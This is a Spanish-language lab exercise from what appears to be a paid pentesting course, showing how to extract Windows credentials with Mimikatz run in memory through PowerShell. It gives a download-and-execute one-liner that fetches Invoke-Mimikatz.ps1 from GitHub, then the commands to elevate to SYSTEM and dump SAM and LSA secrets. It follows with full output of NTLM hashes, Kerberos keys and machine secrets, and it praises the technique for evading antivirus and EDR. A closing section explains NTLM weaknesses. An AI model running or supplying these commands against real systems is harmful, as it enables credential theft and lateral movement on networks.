Extraccion de credenciales con Mimikatz con PowerShell

Para llevar tu aprendizaje al siguiente nivel y practicar estas técnicas de manera segura y efectiva, te invitamos a adquirir acceso premium a nuestro material de curso. No pierdas esta oportunidad de profundizar tus conocimientos. Para más información y adquirir tu acceso, visita nuestro canal de ventas: https://wa.link/j265a0. ¡Te esperamos para empezar este viaje juntos!

OBJETIVO DEL EJERCICIO #7:

Utilizar mimikatz en formato de powershell sobre Windows para exfiltrar secretos. Para realizarlo es suficiente tener encendido UNICAMENTE WEBSERVER y First-DC.

Pros y Contras de ejecutar Mimikatz con mimikatz.ps1

Pros

  • Evasión: La versión de PowerShell puede ser más sigilosa, evadiendo mejor la detección de antivirus y soluciones EDR que buscan hashes de archivos conocidos.

  • Flexibilidad: Puede ser más fácil de ejecutar en memoria sin necesidad de escribir en el disco, lo cual es menos intrusivo y reduce la huella en el sistema de la víctima.

  • Integración: Se integra bien con otras herramientas y scripts de PowerShell, facilitando su uso en cadenas de ataque complejas.

Contras

  • Funcionalidad Limitada: Puede no tener todas las funciones que la versión completa .exe ofrece.

  • Logging de PowerShell: Las versiones más recientes de Windows tienen mejoras en el registro de actividades de PowerShell, lo que podría dejar rastros para los equipos de respuesta a incidentes.

  • Bloqueo de Scripts: Las políticas de ejecución de scripts y restricciones de firmas digitales pueden bloquear la ejecución de scripts PowerShell no firmados.

Los comandos utilizados son:

IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1');
Invoke-Mimikatz -Command '"token::elevate" "sekurlsa::logonpasswords" "lsadump::sam" "lsadump::secrets"'

Despues de su ejecuccion, vamos obtener lo siguiente:

PS C:\Windows\system32> IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1');
PS C:\Windows\system32> Invoke-Mimikatz -Command '"token::elevate" "sekurlsa::logonpasswords" "lsadump::sam" "lsadump::secrets"'

  .#####.   mimikatz 2.2.0 (x64) #19041 Jul 24 2021 11:00:11
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(powershell) # token::elevate
Token Id  : 0
User name :
SID name  : NT AUTHORITY\SYSTEM

712     {0;000003e7} 1 D 20573          NT AUTHORITY\SYSTEM     S-1-5-18        (04g,21p)       Primary
 -> Impersonated !
 * Process Token : {0;004ee8fb} 3 F 8116142     WEBSERVER\gerh  S-1-5-21-35825707-945739770-2891244367-1000     (14g,24p)       Primary
 * Thread Token  : {0;000003e7} 1 D 8192060     NT AUTHORITY\SYSTEM     S-1-5-18        (04g,21p)       Impersonation (Delegation)

mimikatz(powershell) # sekurlsa::logonpasswords
ERROR kuhl_m_sekurlsa_acquireLSA ; Logon list

mimikatz(powershell) # lsadump::sam
Domain : WEBSERVER
SysKey : ea7b3f466f263386e6dc165bcde0d1d2
Local SID : S-1-5-21-35825707-945739770-2891244367

SAMKey : 0f38480331d27a37fb84a64691c96638

RID  : 000001f4 (500)
User : Administrator
  Hash NTLM: f47f6266f4bb428db65cd949e7537f52

Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
    Random Value : 95278d33a26e8418cde3b6bc618d5d4c

* Primary:Kerberos-Newer-Keys *
    Default Salt : EC2AMAZ-N0S1NB6Administrator
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : 487149fe0751036e0aa497d82728570248f671894c39912e818bc058546478da
      aes128_hmac       (4096) : 95f019490c136ba744dd27b3248d862d
      des_cbc_md5       (4096) : 264a2c3df40ba886
    OldCredentials
      aes256_hmac       (4096) : 27d1fe245f22752ae07fa19e6c4cb8c9a711d23fa43041c3eba9dea1c46879f4
      aes128_hmac       (4096) : 2881481a8717f3d3a4377847a1099566
      des_cbc_md5       (4096) : 76315edf8a0191ea
    OlderCredentials
      aes256_hmac       (4096) : 7e16bff797907f940783a6315b3ab4bd398542aabf2bc888506bce52b0961cf4
      aes128_hmac       (4096) : e87a3a66df7112bf158fd184ffa88547
      des_cbc_md5       (4096) : 4a43754f1c08dca7

* Packages *
    NTLM-Strong-NTOWF

* Primary:Kerberos *
    Default Salt : EC2AMAZ-N0S1NB6Administrator
    Credentials
      des_cbc_md5       : 264a2c3df40ba886
    OldCredentials
      des_cbc_md5       : 76315edf8a0191ea


RID  : 000001f5 (501)
User : Guest

RID  : 000001f7 (503)
User : DefaultAccount

RID  : 000001f8 (504)
User : WDAGUtilityAccount
  Hash NTLM: d7da45674bae3a0476c0f64b67121f7d

Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
    Random Value : be9923d30a0cdf3a73493d7d32eb96e4

* Primary:Kerberos-Newer-Keys *
    Default Salt : WDAGUtilityAccount
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : c5a174bdaaf42f78aea168d2bb0736459de5ad0b5051997187d8b86f7af8ee69
      aes128_hmac       (4096) : 17456060abe8c50bc7ec5474e44d0ae4
      des_cbc_md5       (4096) : 5e435ecec4efbfdc

* Packages *
    NTLM-Strong-NTOWF

* Primary:Kerberos *
    Default Salt : WDAGUtilityAccount
    Credentials
      des_cbc_md5       : 5e435ecec4efbfdc


RID  : 000003e8 (1000)
User : gerh
  Hash NTLM: ac1dbef8523bafece1428e067c1b114f
    lm  - 0: aea79244552e7a42ffb10c37ee4b914d
    ntlm- 0: ac1dbef8523bafece1428e067c1b114f

Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
    Random Value : eb9625a5e81c8b770853d14b69b85776

* Primary:Kerberos-Newer-Keys *
    Default Salt : WEBSERVER.SPARTANCYBERSEC.CORPgerh
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : 7d2f3fba7b830054393b17c51e40e28528a485c945f60888ca71f0bf6a377de6
      aes128_hmac       (4096) : 596354e6b4ef07925f24f7b617782c4f
      des_cbc_md5       (4096) : 20add654cd864c7a

* Packages *
    NTLM-Strong-NTOWF

* Primary:Kerberos *
    Default Salt : WEBSERVER.SPARTANCYBERSEC.CORPgerh
    Credentials
      des_cbc_md5       : 20add654cd864c7a


mimikatz(powershell) # lsadump::secrets
Domain : WEBSERVER
SysKey : ea7b3f466f263386e6dc165bcde0d1d2

Local name : WEBSERVER ( S-1-5-21-35825707-945739770-2891244367 )
Domain name : SPARTANCYBERSEC ( S-1-5-21-1861162130-2580302541-221646211 )
Domain FQDN : spartancybersec.corp

Policy subsystem is : 1.18
LSA Key(s) : 1, default {140c9bf8-da47-a27f-96d7-2b5527fd404e}
  [00] {140c9bf8-da47-a27f-96d7-2b5527fd404e} d51da8d90b5e95219f57070b04e71dfb6e95fc27241437fc8ef876b3c2ff43a6

Secret  : $MACHINE.ACC
cur/hex : de ce 87 d1 ac 7b 8a ff c5 3b db 11 1d bd 9f 81 ca 32 f1 c5 cc 3f 89 cc 95 80 7a 97 1c 5d 2d 8b 28 af 7d 25 1a 53 7e b9 5c b9 2a 23 6a fb ca bb 9e 20 16 d4 3c f6 7e b4 b4 76 48 c6 b7 10 25 9a 07 b5 07 b2 7f d2 b1 b0 a1 b0 f9 ce a1 92 a7 26 3d 0d ff ca d8 16 5b 60 9d 20 64 ea d9 0b f5 5a c0 0f 79 1f a0 b4 e3 43 cd 63 d1 ec 14 f8 5d bb 4c e0 22 da 1e 83 6f 1a eb 39 82 cd 45 97 23 ea a4 ef d0 52 72 96 cb a1 f5 1c 07 ea ef cb 45 17 7b 5a f0 0b 8b 57 bb 8f 1e 35 2f f3 55 57 61 5b 4f 12 2f 51 11 c2 1b 60 59 39 c6 df 0c 06 9b 11 db 70 92 9e 90 6b 6c 49 f8 f7 d4 af 4c 86 21 87 e4 ea 57 50 a6 b7 87 ad 4d 61 c5 b0 35 84 79 c6 9d 26 8f a7 0f e7 3a e3 fb 34 24 88 27 fd c5 ae d5 61 67 1e eb 78 a7 05 dc 38 9a 9c 72 0a 44 cc
    NTLM:7d0c4cdc32724b99ef4459147401471a
    SHA1:cd54e4ac32cca2e2ad07df657a832d9ee1cabe04
old/text: Z`#z8G1g` C?s\`w5.#dP.ZE2b2IJ,eq/3HDbF>x6_Rzcae7:Y#'zDSKZ7p!^UP<2/t;UJf]h Aq2%&66=["R( 9nTwg$4@wp]iyUO@anq,'z]b*wP<7xo%[
    NTLM:84d10e4ababc50787bb4a8fdd41dfd12
    SHA1:8776b75a42d483e1c556999310cf88fd19ddbd87

Secret  : DPAPI_SYSTEM
cur/hex : 01 00 00 00 91 be 0d 0d 7a 07 12 fc 89 cd eb f3 39 1e 99 37 6b 34 ac d1 b5 b9 27 6f 74 f7 bb 7f 9b 8c 21 e6 39 98 83 e7 19 c4 ef f4
    full: 91be0d0d7a0712fc89cdebf3391e99376b34acd1b5b9276f74f7bb7f9b8c21e6399883e719c4eff4
    m/u : 91be0d0d7a0712fc89cdebf3391e99376b34acd1 / b5b9276f74f7bb7f9b8c21e6399883e719c4eff4
old/hex : 01 00 00 00 3f 58 17 78 dc 26 36 52 37 eb 61 20 87 07 4c 73 40 d8 73 7d 36 32 97 aa 29 58 8c 35 f7 07 26 34 80 42 33 16 9f 13 c7 b9
    full: 3f581778dc26365237eb612087074c7340d8737d363297aa29588c35f7072634804233169f13c7b9
    m/u : 3f581778dc26365237eb612087074c7340d8737d / 363297aa29588c35f7072634804233169f13c7b9

Secret  : NL$KM
cur/hex : b6 96 c7 7e 17 8a 0c dd 8c 39 c2 0a a2 91 24 44 a2 e4 4d c2 09 59 46 c0 7f 95 ea 11 cb 7f cb 72 ec 2e 5a 06 01 1b 26 fe 6d a7 88 0f a5 e7 1f a5 96 cd e5 3f a0 06 5e c1 a5 01 a1 ce 8c 24 76 95
old/hex : b6 96 c7 7e 17 8a 0c dd 8c 39 c2 0a a2 91 24 44 a2 e4 4d c2 09 59 46 c0 7f 95 ea 11 cb 7f cb 72 ec 2e 5a 06 01 1b 26 fe 6d a7 88 0f a5 e7 1f a5 96 cd e5 3f a0 06 5e c1 a5 01 a1 ce 8c 24 76 95

Uno de los hallazgos mas relevantes de la salida previa es el hash NTLM del administrador que es:

f47f6266f4bb428db65cd949e7537f52

El hash NTLM (NT LAN Manager) es una función hash utilizada por Microsoft para almacenar contraseñas de usuario. Es un método de cifrado que ha sido utilizado en varios protocolos de autenticación de Microsoft a lo largo de los años, incluidos los protocolos de autenticación de red como NTLMv1 y NTLMv2.

Características y detalles sobre el hash NTLM:

  1. Forma de Creación: El hash NTLM se crea tomando la contraseña del usuario, convirtiéndola a Unicode y luego aplicando una función hash MD4.

  2. No tiene SALT: A diferencia de otros métodos de almacenamiento de contraseñas, el hash NTLM no utiliza un "salto" (valor aleatorio agregado para hacer que el hashing sea más seguro). Esto lo hace vulnerable a ataques de fuerza bruta y a ataques de tabla arco iris, donde los atacantes usan tablas precomputadas para buscar rápidamente el valor original de un hash.

  3. Uso en Protocolos: Aunque NTLM ha sido reemplazado en gran medida por métodos más seguros como Kerberos en entornos modernos de Active Directory, todavía se encuentra en muchas redes debido a la retrocompatibilidad o configuraciones heredadas.

  4. Vulnerabilidades: Debido a sus debilidades inherentes y la falta de características de seguridad modernas, NTLM es susceptible a una variedad de ataques, como el mencionado ataque de tabla arco iris, ataques de relevo NTLM, y otros.

  5. Recomendación: Debido a las debilidades conocidas asociadas con NTLM, se recomienda deshabilitar su uso siempre que sea posible, en favor de protocolos de autenticación más seguros como Kerberos.

Última actualización